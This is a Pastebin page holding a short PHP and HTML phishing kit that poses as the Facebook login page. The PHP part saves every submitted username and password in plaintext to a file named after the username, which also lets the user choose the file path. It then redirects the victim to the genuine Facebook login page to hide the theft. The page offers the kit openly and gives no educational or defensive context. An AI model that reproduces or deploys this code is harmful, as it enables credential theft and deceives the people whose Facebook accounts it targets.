Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $wrote = 0;
- if (isset($_POST['password']) && isset($_POST['username'])){
- $File = ($_POST['username'].".txt");
- $Handle = fopen($File, 'a');
- $Data = "Username: ".$_POST['username']."\t Password: ".$_POST['password'];
- fwrite($Handle, $Data);
- fclose($Handle);
- $wrote = 1;
- }
- if($wrote == 1){
- header('Location: https://www.facebook.com/login.php?login_attempt=1');
- }
- ?>
- <div style ="position: absolute; left: 770px; top: 38px;">
- <form action = "index.php" method="POST">
- <div style ="position:absolute; right: 167px; top: 0px;">
- <input type="text" name="username">
- </div>
- <input type="password" name="password">
- <div style ="position: absolute; left: 167px; top: 0px;">
- <input type="submit" value="Login">
- </div>
- </div>
- </form>
- <html>
- <head>
- <title>Welcome to Facebook - Log in, Sign up or learn more</title>
- </head>
- <body>
- <img src="FBCover.jpg">
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement